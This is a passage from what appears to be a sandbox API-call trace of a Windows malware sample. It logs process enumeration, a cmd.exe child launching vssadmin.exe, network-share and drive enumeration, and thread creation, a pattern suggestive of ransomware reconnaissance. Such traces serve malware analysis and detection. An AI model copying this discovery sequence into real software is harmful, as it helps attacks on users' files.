out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0058.267] lstrlenW (lpString="audiodg.exe") returned 11 [0058.267] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.268] lstrlenW (lpString="svchost.exe") returned 11 [0058.268] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.268] lstrlenW (lpString="svchost.exe") returned 11 [0058.268] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0058.269] lstrlenW (lpString="dwm.exe") returned 7 [0058.269] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0058.269] lstrlenW (lpString="explorer.exe") returned 12 [0058.269] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0058.270] lstrlenW (lpString="spoolsv.exe") returned 11 [0058.270] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.270] lstrlenW (lpString="taskhost.exe") returned 12 [0058.270] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.271] lstrlenW (lpString="svchost.exe") returned 11 [0058.271] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0058.271] lstrlenW (lpString="taskeng.exe") returned 11 [0058.271] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.272] lstrlenW (lpString="taskhost.exe") returned 12 [0058.272] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0058.272] lstrlenW (lpString="dear.exe") returned 8 [0058.272] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0058.273] lstrlenW (lpString="b costa.exe") returned 11 [0058.273] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0058.273] lstrlenW (lpString="rc lock.exe") returned 11 [0058.273] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0058.274] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0058.274] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0058.274] lstrlenW (lpString="hugown.exe") returned 10 [0058.274] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0058.275] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0058.275] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0058.275] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0058.275] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0058.276] lstrlenW (lpString="locked welsh.exe") returned 16 [0058.276] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0058.276] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0058.276] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0058.277] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0058.277] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0058.277] lstrlenW (lpString="planners.exe") returned 12 [0058.277] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0058.278] lstrlenW (lpString="agreements.exe") returned 14 [0058.278] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0058.278] lstrlenW (lpString="tray.exe") returned 8 [0058.278] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0058.279] lstrlenW (lpString="wp std.exe") returned 10 [0058.279] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0058.279] lstrlenW (lpString="lesser.exe") returned 10 [0058.280] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0058.280] lstrlenW (lpString="right-tissue.exe") returned 16 [0058.280] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0058.457] lstrlenW (lpString="bunch.exe") returned 9 [0058.461] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0058.483] lstrlenW (lpString="jam.exe") returned 7 [0058.483] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0058.484] lstrlenW (lpString="chooseincidence.exe") returned 19 [0058.484] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0058.484] lstrlenW (lpString="numericalrear.exe") returned 17 [0058.484] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0058.485] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0058.485] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0058.485] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0058.485] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0058.486] lstrlenW (lpString="come_wave.exe") returned 13 [0058.486] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.486] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0058.486] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0058.487] lstrlenW (lpString="uyuquk.exe") returned 10 [0058.487] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0058.487] lstrlenW (lpString="cmd.exe") returned 7 [0058.488] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.488] lstrlenW (lpString="conhost.exe") returned 11 [0058.488] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0058.489] lstrlenW (lpString="vssadmin.exe") returned 12 [0058.489] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0058.489] lstrlenW (lpString="VSSVC.exe") returned 9 [0058.489] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.490] lstrlenW (lpString="svchost.exe") returned 11 [0058.490] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0058.490] lstrlenW (lpString="LogonUI.exe") returned 11 [0058.490] Process32NextW (in: hSnapshot=0x230, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0058.491] CloseHandle (hObject=0x230) returned 1 [0058.491] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0x990 [0032.846] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0032.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544a30 | out: hHeap=0x510000) returned 1 Thread: id = 6 os_tid = 0x994 [0032.846] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a30 [0032.846] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a30, Size=0x20) returned 0x545b10 [0032.846] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545b10, Size=0x40) returned 0x546ba0 [0032.846] GetLogicalDrives () returned 0x4 [0032.846] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x56d438 [0033.485] GetComputerNameW (in: lpBuffer=0x56d43c, nSize=0x243ff6c | out: lpBuffer="XDUWTFONO", nSize=0x243ff6c) returned 1 [0033.485] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x5630a0 [0033.485] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x243ff3c | out: lphEnum=0x243ff3c*=0x5460c0) returned 0x0 [0033.486] WNetEnumResourceW (in: hEnum=0x5460c0, lpcCount=0x243ff38, lpBuffer=0x5630a0, lpBufferSize=0x243ff40 | out: lpcCount=0x243ff38, lpBuffer=0x5630a0, lpBufferSize=0x243ff40) returned 0x103 [0033.486] WNetCloseEnum (hEnum=0x5460c0) returned 0x0 [0033.486] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x243ff3c | out: lphEnum=0x243ff3c*=0x56b378) returned 0x0 [0035.600] WNetEnumResourceW (in: hEnum=0x56b378, lpcCount=0x243ff38, lpBuffer=0x5630a0, lpBufferSize=0x243ff40 | out: lpcCount=0x243ff38, lpBuffer=0x5630a0, lpBufferSize=0x243ff40) returned 0x0 [0035.600] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x601af0 [0035.600] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5630a0, lphEnum=0x243ff10 | out: lphEnum=0x243ff10*=0x546360) returned 0x0 [0035.693] WNetEnumResourceW (in: hEnum=0x546360, lpcCount=0x243ff0c, lpBuffer=0x601af0, lpBufferSize=0x243ff14 | out: lpcCount=0x243ff0c, lpBuffer=0x601af0, lpBufferSize=0x243ff14) returned 0x103 [0035.693] WNetCloseEnum (hEnum=0x546360) returned 0x0 [0035.693] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x38242d0 [0035.693] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5630c0, lphEnum=0x243ff10 | out: lphEnum=0x243ff10*=0x0) returned 0x4b8 [0055.298] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x3817390 [0055.298] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5630e0, lphEnum=0x243ff10 | out: lphEnum=0x243ff10*=0x0) returned 0x4c6 [0055.303] WNetEnumResourceW (in: hEnum=0x56b378, lpcCount=0x243ff38, lpBuffer=0x5630a0, lpBufferSize=0x243ff40 | out: lpcCount=0x243ff38, lpBuffer=0x5630a0, lpBufferSize=0x243ff40) returned 0x103 [0055.303] WNetCloseEnum (hEnum=0x56b378) returned 0x0 [0055.303] GetLogicalDrives () returned 0x4 [0055.303] Sleep (dwMilliseconds=0x64) [0055.527] GetLogicalDrives () returned 0x4 [0055.527] Sleep (dwMilliseconds=0x64) [0055.802] GetLogicalDrives () returned 0x4 [0055.802] Sleep (dwMilliseconds=0x64) [0056.479] GetLogicalDrives () returned 0x4 [0056.479] Sleep (dwMilliseconds=0x64) [0057.055] GetLogicalDrives () returned 0x4 [0057.055] Sleep (dwMilliseconds=0x64) [0057.351] GetLogicalDrives () returned 0x4 [0057.351] Sleep (dwMilliseconds=0x64) [0057.776] GetLogicalDrives () returned 0x4 [0057.776] Sleep (dwMilliseconds=0x64) [0058.177] GetLogicalDrives () returned 0x4 [0058.177] Sleep (dwMilliseconds=0x64) [0058.385] GetLogicalDrives () returned 0x4 [0058.385] Sleep (dwMilliseconds=0x64) [0058.625] GetLogicalDrives () returned 0x4 [0058.625] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0x998 [0034.026] GetTickCount () returned 0x1143016 [0034.026] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x59e158 [0034.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x59e158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0034.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x59e158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0034.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x59e158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0034.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x59e158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0034.029] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b00b0 [0034.029] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b00b0, Size=0x20) returned 0x545d18 [0034.029] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b00b0 [0034.029] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b00b0, Size=0x20) returned 0x545d40 [0034.029] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.029] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0034.030] Wow64DisableWow64FsRedirection (in: OldValue=0x253ff84 | out: OldValue=0x253ff84*=0x0) returned 1 [0034.030] lstrlenW (lpString="kernel32.dll") returned 12 [0034.030] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545d18 | out: hHeap=0x510000) returned 1 [0034.030] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.030] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545d40 | out: hHeap=0x510000) returned 1 [0034.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x54b428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0034.031] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0034.377] GetTickCount () returned 0x1143083 [0034.377] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0034.484] GetTickCount () returned 0x11430f0 [0034.484] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0035.311] GetTickCount () returned 0x11431cb [0035.311] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0035.542] GetTickCount () returned 0x1143295 [0035.542] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0035.846] GetTickCount () returned 0x114339f [0035.853] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0036.173] GetTickCount () returned 0x11434d7 [0036.173] GetTickCount () returned 0x11434d7 [0036.173] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0036.667] GetTickCount () returned 0x11436ab [0036.667] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0036.855] GetTickCount () returned 0x1143766 [0036.855] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0037.243] GetTickCount () returned 0x11438ec [0037.243] GetTickCount () returned 0x11438ec [0037.243] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0037.627] GetTickCount () returned 0x1143a72 [0037.627] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0038.016] GetTickCount () returned 0x1143bd9 [0038.016] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0038.474] GetTickCount () returned 0x1143d9d [0038.474] GetTickCount () returned 0x1143d9d [0038.474] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0038.906] GetTickCount () returned 0x1143f52 [0038.906] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0039.169] GetTickCount () returned 0x114404b [0039.169] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0039.405] GetTickCount () returned 0x1144145 [0039.405] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0039.983] GetTickCount () returned 0x1144348 [0039.983] GetTickCount () returned 0x1144348 [0039.983] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0040.626] GetTickCount () returned 0x114453b [0040.626] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0041.088] GetTickCount () returned 0x1144673 [0041.088] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0041.252] GetTickCount () returned 0x11446ff [0041.252] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0041.682] GetTickCount () returned 0x11448b4 [0041.682] GetTickCount () returned 0x11448b4 [0041.682] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0041.995] GetTickCount () returned 0x11449cd [0041.996] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0042.275] GetTickCount () returned 0x1144ad6 [0042.275] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0042.628] GetTickCount () returned 0x1144c3d [0042.628] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0042.738] GetTickCount () returned 0x1144caa [0042.738] GetTickCount () returned 0x1144caa [0042.738] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0043.136] GetTickCount () returned 0x1144e40 [0043.136] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0043.321] GetTickCount () returned 0x1144edc [0043.321] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0043.631] GetTickCount () returned 0x1145004 [0043.631] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0043.991] GetTickCount () returned 0x114517b [0043.991] GetTickCount () returned 0x114517b [0043.991] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0044.283] GetTickCount () returned 0x1145274 [0044.283] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0044.606] GetTickCount () returned 0x11453bc [0044.606] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0045.052] GetTickCount () returned 0x1145561 [0045.052] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0045.273] GetTickCount () returned 0x114563b [0045.274] GetTickCount () returned 0x114563b [0045.274] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0045.881] GetTickCount () returned 0x114589c [0045.881] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0046.449] GetTickCount () returned 0x1145a9f [0046.449] GetTickCount () returned 0x1145a9f [0046.449] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0047.090] GetTickCount () returned 0x1145d1e [0047.090] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0047.458] GetTickCount () returned 0x1145e95 [0047.458] GetTickCount () returned 0x1145e95 [0047.458] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 